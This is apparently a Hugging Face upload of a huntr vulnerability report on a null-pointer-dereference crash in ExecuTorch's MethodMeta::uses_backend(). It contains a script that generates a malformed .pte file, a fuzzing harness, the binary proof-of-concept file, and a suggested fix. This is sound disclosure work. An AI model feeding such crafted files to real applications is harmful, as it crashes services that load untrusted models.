Upload folder using huggingface_hub
Browse files- REPORT.md +191 -0
- poc/gen_poc.py +75 -0
- poc/harness_program_fuzzer.cpp +101 -0
- poc/poc_uses_backend_null_deref.pte +0 -0
REPORT.md
ADDED
|
@@ -0,0 +1,191 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Null Pointer Dereference in ExecuTorch MethodMeta::uses_backend() via Missing ExecutionPlan.delegates (.pte)
|
| 2 |
+
|
| 3 |
+
**Target:** ExecuTorch 1.3.1 (.pte, huntr Model File Vulnerability program)
|
| 4 |
+
**Severity:** Low-Medium (Denial of Service)
|
| 5 |
+
**CWE:** CWE-476 (NULL Pointer Dereference)
|
| 6 |
+
**Component:** `runtime/executor/method_meta.cpp`
|
| 7 |
+
**Authentication Required:** No — the only requirement is that a victim application loads an attacker-supplied `.pte` file and calls a documented public API.
|
| 8 |
+
|
| 9 |
+
## Summary
|
| 10 |
+
|
| 11 |
+
`MethodMeta::uses_backend()` is a public API intended for applications to check whether a loaded method requires a specific backend before deciding how to dispatch it. It dereferences `ExecutionPlan.delegates` without checking it for null, even though this field is explicitly optional in the schema and the sibling function `num_backends()` three lines below correctly guards the exact same field. A `.pte` file with a well-formed `ExecutionPlan` that simply omits `delegates` passes both of ExecuTorch's verification levels (`InternalConsistency` and `Minimal`) and crashes any process that calls `uses_backend()` on it.
|
| 12 |
+
|
| 13 |
+
A second, independent null-deref exists in the same function on a different field: `BackendDelegate.id` is also optional, so a `.pte` whose `delegates` vector is present but contains an entry with no `id` triggers the same crash class one line later.
|
| 14 |
+
|
| 15 |
+
## Vulnerability Details
|
| 16 |
+
|
| 17 |
+
`schema/program.fbs` defines `ExecutionPlan.delegates` and `BackendDelegate.id` as ordinary (non-required) fields:
|
| 18 |
+
|
| 19 |
+
```
|
| 20 |
+
table ExecutionPlan {
|
| 21 |
+
...
|
| 22 |
+
delegates: [BackendDelegate];
|
| 23 |
+
...
|
| 24 |
+
}
|
| 25 |
+
table BackendDelegate {
|
| 26 |
+
id: string;
|
| 27 |
+
processed: BackendDelegateDataReference;
|
| 28 |
+
compile_specs: [CompileSpec];
|
| 29 |
+
}
|
| 30 |
+
```
|
| 31 |
+
|
| 32 |
+
`runtime/executor/method_meta.cpp`:
|
| 33 |
+
|
| 34 |
+
```cpp
|
| 35 |
+
bool MethodMeta::uses_backend(const char* backend_name) const {
|
| 36 |
+
ET_CHECK_MSG(backend_name, "backend name is null");
|
| 37 |
+
const auto delegates = s_plan_->delegates();
|
| 38 |
+
for (size_t i = 0; i < delegates->size(); i++) { // <-- delegates may be null
|
| 39 |
+
auto delegate = delegates->Get(i);
|
| 40 |
+
auto backend_name_len = std::strlen(backend_name);
|
| 41 |
+
auto delegate_id_len = delegate->id()->size(); // <-- delegate->id() may be null
|
| 42 |
+
if (backend_name_len == delegate_id_len &&
|
| 43 |
+
std::strncmp(delegate->id()->c_str(), backend_name, backend_name_len) == 0) {
|
| 44 |
+
return true;
|
| 45 |
+
}
|
| 46 |
+
}
|
| 47 |
+
return false;
|
| 48 |
+
}
|
| 49 |
+
|
| 50 |
+
size_t MethodMeta::num_backends() const {
|
| 51 |
+
const auto delegates = s_plan_->delegates();
|
| 52 |
+
return delegates ? delegates->size() : 0; // <-- correctly guarded, 3 lines below
|
| 53 |
+
}
|
| 54 |
+
```
|
| 55 |
+
|
| 56 |
+
The presence of the correct guard in `num_backends()` proves this is an inconsistency, not an intentional assumption — the maintainers clearly know `delegates` can be absent; the check simply was not applied to `uses_backend()`.
|
| 57 |
+
|
| 58 |
+
Neither `Program::load()`'s `flatbuffers::Verifier` structural check nor `validate_program()`'s semantic check (which validates `values`/tensor fields, not `ExecutionPlan.delegates`) nor `Program::method_meta()`'s own explicit field checks (`name`, `non_const_buffer_sizes`, `inputs`, `outputs` only) cover this field. A file omitting `delegates` is fully legal per the schema and loads cleanly under **both** verification levels.
|
| 59 |
+
|
| 60 |
+
## Steps to Reproduce
|
| 61 |
+
|
| 62 |
+
### Environment
|
| 63 |
+
- Linux x86-64, ExecuTorch 1.3.1 source, clang-16, CMake, Ninja
|
| 64 |
+
- No authentication, no host access — only the ability to supply a `.pte` file to a process that calls `MethodMeta::uses_backend()`
|
| 65 |
+
|
| 66 |
+
### 1. Build ExecuTorch with sanitizers
|
| 67 |
+
|
| 68 |
+
Same build as REPORT-01/02 Step 1. No additional flags needed — `executorch_core` (which contains `method_meta.cpp`) is part of the default target set.
|
| 69 |
+
|
| 70 |
+
### 2. Build the PoC harness (`poc/harness_program_fuzzer.cpp`, included in this report)
|
| 71 |
+
|
| 72 |
+
```bash
|
| 73 |
+
export ET_PARENT=/path/to/parent-of-executorch
|
| 74 |
+
C10_INC="$ET_SRC/runtime/core/portable_type/c10"
|
| 75 |
+
INCLUDES="-I$ET_PARENT -I$ET_BUILD -I$ET_BUILD/schema/include -I$ET_BUILD/extension/flat_tensor/include -I$ET_BUILD/third-party/flatc_ep/include -I$C10_INC"
|
| 76 |
+
|
| 77 |
+
clang++-16 -std=c++17 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all \
|
| 78 |
+
$INCLUDES -DFLATBUFFERS_MAX_ALIGNMENT=1024 -DC10_USING_CUSTOM_GENERATED_MACROS \
|
| 79 |
+
-c poc/harness_program_fuzzer.cpp -o harness.o
|
| 80 |
+
|
| 81 |
+
clang++-16 -fsanitize=fuzzer,address,undefined -o poc_harness harness.o \
|
| 82 |
+
"$ET_BUILD/extension/data_loader/libextension_data_loader.a" \
|
| 83 |
+
"$ET_BUILD/libexecutorch_core.a"
|
| 84 |
+
```
|
| 85 |
+
|
| 86 |
+
The harness calls `Program::load()` under both `InternalConsistency` and `Minimal` verification, then for every loaded method calls the full `MethodMeta` API surface including `uses_backend("XNNPACK")`, `num_backends()`, and `get_backend_name()` — matching how a real application inspects a loaded program before dispatch.
|
| 87 |
+
|
| 88 |
+
### 3. Generate the PoC .pte file
|
| 89 |
+
|
| 90 |
+
```bash
|
| 91 |
+
python3 poc/gen_poc.py "$ET_SRC/schema" "$ET_BUILD/third-party/flatc_ep/bin/flatc"
|
| 92 |
+
```
|
| 93 |
+
|
| 94 |
+
This produces `poc/poc_uses_backend_null_deref.pte` (200 bytes, **included in this report — sha256 `128498fe87ac5be3bfac96e4e1ddd359dba52e37c253da29372ab4d183e47b05`**), a well-formed `.pte` with:
|
| 95 |
+
- One `ExecutionPlan` named `"forward"`, with empty `values`/`inputs`/`outputs`/`chains`/`operators`, `non_const_buffer_sizes = [0]`
|
| 96 |
+
- A minimal `constant_segment` (required because this build disables the deprecated `constant_buffer` path via `-DET_ENABLE_DEPRECATED_CONSTANT_BUFFER=0` in `CMakeLists.txt`, even for a program with zero constants)
|
| 97 |
+
- **`delegates` field entirely omitted**
|
| 98 |
+
|
| 99 |
+
> **Note on why `constant_segment` is needed even for this trivial PoC:** ExecuTorch 1.3.1's build disables the legacy `constant_buffer` storage path. Without a `constant_segment`, `Program::load()` fails at an earlier, unrelated check (`Error::InvalidProgram`, "relies on the constant_buffer path, which is disabled") before ever reaching `method_meta()`. This is why the PoC includes a `constant_segment` with a single placeholder offset even though the program has no real constant data — this is a `.pte` file structure detail, not part of the vulnerability itself.
|
| 100 |
+
|
| 101 |
+
### 4. Trigger the crash
|
| 102 |
+
|
| 103 |
+
```bash
|
| 104 |
+
export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
|
| 105 |
+
export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
|
| 106 |
+
./poc_harness -timeout=5 -runs=0 poc/poc_uses_backend_null_deref.pte
|
| 107 |
+
```
|
| 108 |
+
|
| 109 |
+
### Expected result (secure behavior)
|
| 110 |
+
`MethodMeta::uses_backend("XNNPACK")` should return `false` (no backend used), matching the correct behavior already implemented in the neighboring `num_backends()`.
|
| 111 |
+
|
| 112 |
+
### Actual result
|
| 113 |
+
|
| 114 |
+
```
|
| 115 |
+
Running: poc/poc_uses_backend_null_deref.pte
|
| 116 |
+
[dbg] IC program.ok()=1 num_methods=1
|
| 117 |
+
[dbg] Minimal program.ok()=1 num_methods=1
|
| 118 |
+
runtime/executor/method_meta.cpp:406:37: runtime error: member call on null pointer of type 'flatbuffers::Vector<flatbuffers::Offset<executorch_flatbuffer::BackendDelegate>>'
|
| 119 |
+
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior runtime/executor/method_meta.cpp:406:37 in
|
| 120 |
+
==<pid>== ERROR: libFuzzer: deadly signal
|
| 121 |
+
```
|
| 122 |
+
|
| 123 |
+
The `[dbg]` lines (from the harness's built-in debug output) confirm the file loads successfully under **both** `Program::Verification::InternalConsistency` and `Program::Verification::Minimal` — proving neither verification level catches this. The crash occurs only once `uses_backend()` is called.
|
| 124 |
+
|
| 125 |
+
**Reproduced 3/3 identical runs** (re-verified live for this report):
|
| 126 |
+
```
|
| 127 |
+
run 1: IC program.ok()=1 num_methods=1 / Minimal program.ok()=1 num_methods=1 / crash at method_meta.cpp:406:37
|
| 128 |
+
run 2: (identical)
|
| 129 |
+
run 3: (identical)
|
| 130 |
+
```
|
| 131 |
+
|
| 132 |
+
## Second Independent Crash — Same Function, Different Field
|
| 133 |
+
|
| 134 |
+
Continued fuzzing of the same harness found a second, distinct null-deref inside `uses_backend()` itself: `delegate->id()->size()` at line 409, triggered when `delegates` is non-null but contains a `BackendDelegate` entry whose own `id` field is omitted (also legal per schema — `id: string;` is not required). Confirmed via UBSan:
|
| 135 |
+
|
| 136 |
+
```
|
| 137 |
+
runtime/executor/method_meta.cpp:409:44: runtime error: member call on null pointer of type 'flatbuffers::Vector<char>'
|
| 138 |
+
```
|
| 139 |
+
|
| 140 |
+
This is filed as supporting evidence for the same finding (not a separate report) because both crashes are in the same function with the same missing-validation defect class and the same fix location — the recommended fix below covers both.
|
| 141 |
+
|
| 142 |
+
## Impact
|
| 143 |
+
|
| 144 |
+
**Who is affected:** Any application that calls `MethodMeta::uses_backend()` — a documented, intended-for-use public API — on a loaded `.pte` program. This is not a corner-case internal function; it exists specifically so applications can query backend requirements before dispatch.
|
| 145 |
+
|
| 146 |
+
**What the attacker can do:** Cause a deterministic, repeatable crash by supplying a `.pte` file whose `ExecutionPlan` simply omits the optional `delegates` field (or has a `delegates` entry with no `id`). The file loads successfully under both of ExecuTorch's verification levels — there is no existing defense that catches this before the crash.
|
| 147 |
+
|
| 148 |
+
**What's at risk:** Availability of the process calling `uses_backend()`. In practice, this is likely to be called during normal model-loading/dispatch logic in any application that branches on backend availability, making this a realistic crash path for ordinary usage, not just a corner case an attacker has to work hard to trigger.
|
| 149 |
+
|
| 150 |
+
**Exploitation complexity:** No interaction beyond the victim loading the file and calling a standard API. Matches huntr MFV's "Denial of Service (DoS) attacks through malformed model files" category.
|
| 151 |
+
|
| 152 |
+
**Why not Critical:** Controlled null-pointer dereference on a flatbuffers accessor — no memory corruption, no code execution, no data disclosure.
|
| 153 |
+
|
| 154 |
+
## Suggested Remediation
|
| 155 |
+
|
| 156 |
+
In `MethodMeta::uses_backend()` (method_meta.cpp lines 403–417):
|
| 157 |
+
|
| 158 |
+
```cpp
|
| 159 |
+
bool MethodMeta::uses_backend(const char* backend_name) const {
|
| 160 |
+
ET_CHECK_MSG(backend_name, "backend name is null");
|
| 161 |
+
const auto delegates = s_plan_->delegates();
|
| 162 |
+
if (delegates == nullptr) {
|
| 163 |
+
return false;
|
| 164 |
+
}
|
| 165 |
+
for (size_t i = 0; i < delegates->size(); i++) {
|
| 166 |
+
auto delegate = delegates->Get(i);
|
| 167 |
+
if (delegate == nullptr || delegate->id() == nullptr) {
|
| 168 |
+
continue;
|
| 169 |
+
}
|
| 170 |
+
auto backend_name_len = std::strlen(backend_name);
|
| 171 |
+
auto delegate_id_len = delegate->id()->size();
|
| 172 |
+
if (backend_name_len == delegate_id_len &&
|
| 173 |
+
std::strncmp(delegate->id()->c_str(), backend_name, backend_name_len) == 0) {
|
| 174 |
+
return true;
|
| 175 |
+
}
|
| 176 |
+
}
|
| 177 |
+
return false;
|
| 178 |
+
}
|
| 179 |
+
```
|
| 180 |
+
|
| 181 |
+
This mirrors the guard pattern already correctly implemented in `num_backends()` immediately below. A regression test should build an `ExecutionPlan` with `delegates` omitted, and separately one with a `BackendDelegate` entry lacking `id`, asserting `uses_backend()` returns `false` cleanly in both cases rather than crashing.
|
| 182 |
+
|
| 183 |
+
## Files Included in This Report
|
| 184 |
+
|
| 185 |
+
- `poc/poc_uses_backend_null_deref.pte` — the 200-byte PoC file (sha256 `128498fe87ac5be3bfac96e4e1ddd359dba52e37c253da29372ab4d183e47b05`)
|
| 186 |
+
- `poc/gen_poc.py` — deterministic script to regenerate the exact same PoC file from ExecuTorch's own `program.fbs` schema (verified byte-for-byte identical output)
|
| 187 |
+
- `poc/harness_program_fuzzer.cpp` — the harness used to trigger and reproduce the crash against the real public API, including the debug instrumentation that proves both verification levels accept the file
|
| 188 |
+
|
| 189 |
+
## huntr Submission Note
|
| 190 |
+
|
| 191 |
+
Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing. `poc/poc_uses_backend_null_deref.pte` is ready for that upload.
|
poc/gen_poc.py
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
Generates poc_uses_backend_null_deref.pte — a well-formed .pte (Program) file
|
| 4 |
+
with one ExecutionPlan ("forward") that omits the optional `delegates` field.
|
| 5 |
+
|
| 6 |
+
Requires: flatc (built from the ExecuTorch source tree's vendored
|
| 7 |
+
third-party/flatbuffers) and the project's schema/program.fbs +
|
| 8 |
+
schema/scalar_type.fbs files.
|
| 9 |
+
|
| 10 |
+
Note: this build's CMakeLists.txt sets -DET_ENABLE_DEPRECATED_CONSTANT_BUFFER=0,
|
| 11 |
+
so a minimal valid .pte must use the `constant_segment` field (not the
|
| 12 |
+
deprecated `constant_buffer` field) even for a program with no constants.
|
| 13 |
+
|
| 14 |
+
Usage:
|
| 15 |
+
python3 gen_poc.py /path/to/executorch/schema /path/to/flatc
|
| 16 |
+
"""
|
| 17 |
+
import os
|
| 18 |
+
import shutil
|
| 19 |
+
import subprocess
|
| 20 |
+
import sys
|
| 21 |
+
|
| 22 |
+
|
| 23 |
+
PROGRAM_JSON = """{
|
| 24 |
+
"version": 0,
|
| 25 |
+
"execution_plan": [
|
| 26 |
+
{
|
| 27 |
+
"name": "forward",
|
| 28 |
+
"values": [],
|
| 29 |
+
"inputs": [],
|
| 30 |
+
"outputs": [],
|
| 31 |
+
"chains": [],
|
| 32 |
+
"operators": [],
|
| 33 |
+
"non_const_buffer_sizes": [0]
|
| 34 |
+
}
|
| 35 |
+
],
|
| 36 |
+
"segments": [
|
| 37 |
+
{ "offset": 0, "size": 0 }
|
| 38 |
+
],
|
| 39 |
+
"constant_segment": {
|
| 40 |
+
"segment_index": 0,
|
| 41 |
+
"offsets": [0]
|
| 42 |
+
}
|
| 43 |
+
}
|
| 44 |
+
"""
|
| 45 |
+
|
| 46 |
+
|
| 47 |
+
def build(schema_dir: str, flatc: str, out_path: str) -> None:
|
| 48 |
+
workdir = os.path.dirname(os.path.abspath(out_path)) + "/_gen_tmp"
|
| 49 |
+
os.makedirs(workdir, exist_ok=True)
|
| 50 |
+
try:
|
| 51 |
+
for fname in ("program.fbs", "scalar_type.fbs"):
|
| 52 |
+
shutil.copy(os.path.join(schema_dir, fname), os.path.join(workdir, fname))
|
| 53 |
+
|
| 54 |
+
json_path = os.path.join(workdir, "program.json")
|
| 55 |
+
with open(json_path, "w") as f:
|
| 56 |
+
f.write(PROGRAM_JSON)
|
| 57 |
+
|
| 58 |
+
subprocess.run(
|
| 59 |
+
[flatc, "--binary", "program.fbs", "program.json"],
|
| 60 |
+
cwd=workdir,
|
| 61 |
+
check=True,
|
| 62 |
+
)
|
| 63 |
+
|
| 64 |
+
produced = os.path.join(workdir, "program.pte")
|
| 65 |
+
shutil.copy(produced, out_path)
|
| 66 |
+
print(f"Wrote {out_path} ({os.path.getsize(out_path)} bytes)")
|
| 67 |
+
finally:
|
| 68 |
+
shutil.rmtree(workdir, ignore_errors=True)
|
| 69 |
+
|
| 70 |
+
|
| 71 |
+
if __name__ == "__main__":
|
| 72 |
+
if len(sys.argv) != 3:
|
| 73 |
+
print(__doc__)
|
| 74 |
+
sys.exit(1)
|
| 75 |
+
build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_uses_backend_null_deref.pte"))
|
poc/harness_program_fuzzer.cpp
ADDED
|
@@ -0,0 +1,101 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// libFuzzer harness for executorch::runtime::Program::load()
|
| 2 |
+
// Targets the .pte flatbuffer parsing path (runtime/executor/program.cpp).
|
| 3 |
+
// Authorized local testing only - huntr MFV scope: ExecuTorch .pte parser.
|
| 4 |
+
|
| 5 |
+
#include <cstddef>
|
| 6 |
+
#include <cstdint>
|
| 7 |
+
|
| 8 |
+
#include <executorch/extension/data_loader/buffer_data_loader.h>
|
| 9 |
+
#include <executorch/runtime/executor/program.h>
|
| 10 |
+
#include <executorch/runtime/platform/runtime.h>
|
| 11 |
+
|
| 12 |
+
using executorch::extension::BufferDataLoader;
|
| 13 |
+
using executorch::runtime::Program;
|
| 14 |
+
|
| 15 |
+
static bool g_initialized = false;
|
| 16 |
+
|
| 17 |
+
extern "C" int LLVMFuzzerTestOneInput(const std::uint8_t* data, std::size_t size) {
|
| 18 |
+
if (!g_initialized) {
|
| 19 |
+
executorch::runtime::runtime_init();
|
| 20 |
+
g_initialized = true;
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
constexpr std::size_t kMaxInput = 32U * 1024U * 1024U;
|
| 24 |
+
if (data == nullptr || size == 0 || size > kMaxInput) {
|
| 25 |
+
return 0;
|
| 26 |
+
}
|
| 27 |
+
|
| 28 |
+
BufferDataLoader loader(data, size);
|
| 29 |
+
|
| 30 |
+
// Try both verification levels - Minimal is the one used in perf-sensitive
|
| 31 |
+
// deployments and skips more validation than InternalConsistency.
|
| 32 |
+
auto program_ic = Program::load(&loader, Program::Verification::InternalConsistency);
|
| 33 |
+
if (getenv("ET_FUZZ_DEBUG")) {
|
| 34 |
+
fprintf(stderr, "[dbg] IC program.ok()=%d", program_ic.ok());
|
| 35 |
+
if (!program_ic.ok()) {
|
| 36 |
+
fprintf(stderr, " error=0x%x", static_cast<unsigned int>(program_ic.error()));
|
| 37 |
+
} else {
|
| 38 |
+
fprintf(stderr, " num_methods=%zu", program_ic.get().num_methods());
|
| 39 |
+
}
|
| 40 |
+
fprintf(stderr, "\n");
|
| 41 |
+
BufferDataLoader loader2(data, size);
|
| 42 |
+
auto program_min = Program::load(&loader2, Program::Verification::Minimal);
|
| 43 |
+
fprintf(stderr, "[dbg] Minimal program.ok()=%d", program_min.ok());
|
| 44 |
+
if (!program_min.ok()) {
|
| 45 |
+
fprintf(stderr, " error=0x%x", static_cast<unsigned int>(program_min.error()));
|
| 46 |
+
} else {
|
| 47 |
+
fprintf(stderr, " num_methods=%zu", program_min.get().num_methods());
|
| 48 |
+
}
|
| 49 |
+
fprintf(stderr, "\n");
|
| 50 |
+
}
|
| 51 |
+
if (program_ic.ok()) {
|
| 52 |
+
// Touch metadata to exercise more of the parsing surface.
|
| 53 |
+
auto& p = program_ic.get();
|
| 54 |
+
auto n = p.num_methods();
|
| 55 |
+
for (size_t i = 0; i < n; ++i) {
|
| 56 |
+
auto name = p.get_method_name(i);
|
| 57 |
+
if (name.ok()) {
|
| 58 |
+
auto meta = p.method_meta(name.get());
|
| 59 |
+
if (meta.ok()) {
|
| 60 |
+
auto& m = meta.get();
|
| 61 |
+
(void)m.name();
|
| 62 |
+
(void)m.num_inputs();
|
| 63 |
+
(void)m.num_outputs();
|
| 64 |
+
(void)m.num_attributes();
|
| 65 |
+
(void)m.num_memory_planned_buffers();
|
| 66 |
+
(void)m.num_instructions();
|
| 67 |
+
// uses_backend()/num_backends()/get_backend_name() exercise the
|
| 68 |
+
// ExecutionPlan::delegates() optional field - not guarded against
|
| 69 |
+
// null in uses_backend() per source review.
|
| 70 |
+
(void)m.uses_backend("XNNPACK");
|
| 71 |
+
(void)m.uses_backend("");
|
| 72 |
+
size_t nb = m.num_backends();
|
| 73 |
+
for (size_t bi = 0; bi < nb; ++bi) {
|
| 74 |
+
(void)m.get_backend_name(bi);
|
| 75 |
+
}
|
| 76 |
+
size_t na = m.num_attributes();
|
| 77 |
+
for (size_t ai = 0; ai < na && ai < 64; ++ai) {
|
| 78 |
+
(void)m.attribute_tensor_meta(ai);
|
| 79 |
+
}
|
| 80 |
+
size_t ni = m.num_inputs();
|
| 81 |
+
for (size_t ii = 0; ii < ni && ii < 64; ++ii) {
|
| 82 |
+
(void)m.input_tag(ii);
|
| 83 |
+
(void)m.input_tensor_meta(ii);
|
| 84 |
+
}
|
| 85 |
+
size_t no = m.num_outputs();
|
| 86 |
+
for (size_t oi = 0; oi < no && oi < 64; ++oi) {
|
| 87 |
+
(void)m.output_tag(oi);
|
| 88 |
+
(void)m.output_tensor_meta(oi);
|
| 89 |
+
}
|
| 90 |
+
size_t nmb = m.num_memory_planned_buffers();
|
| 91 |
+
for (size_t mi = 0; mi < nmb && mi < 64; ++mi) {
|
| 92 |
+
(void)m.memory_planned_buffer_size(mi);
|
| 93 |
+
(void)m.memory_planned_buffer_device(mi);
|
| 94 |
+
}
|
| 95 |
+
}
|
| 96 |
+
}
|
| 97 |
+
}
|
| 98 |
+
}
|
| 99 |
+
|
| 100 |
+
return 0;
|
| 101 |
+
}
|
poc/poc_uses_backend_null_deref.pte
ADDED
|
Binary file (200 Bytes). View file
|
|
|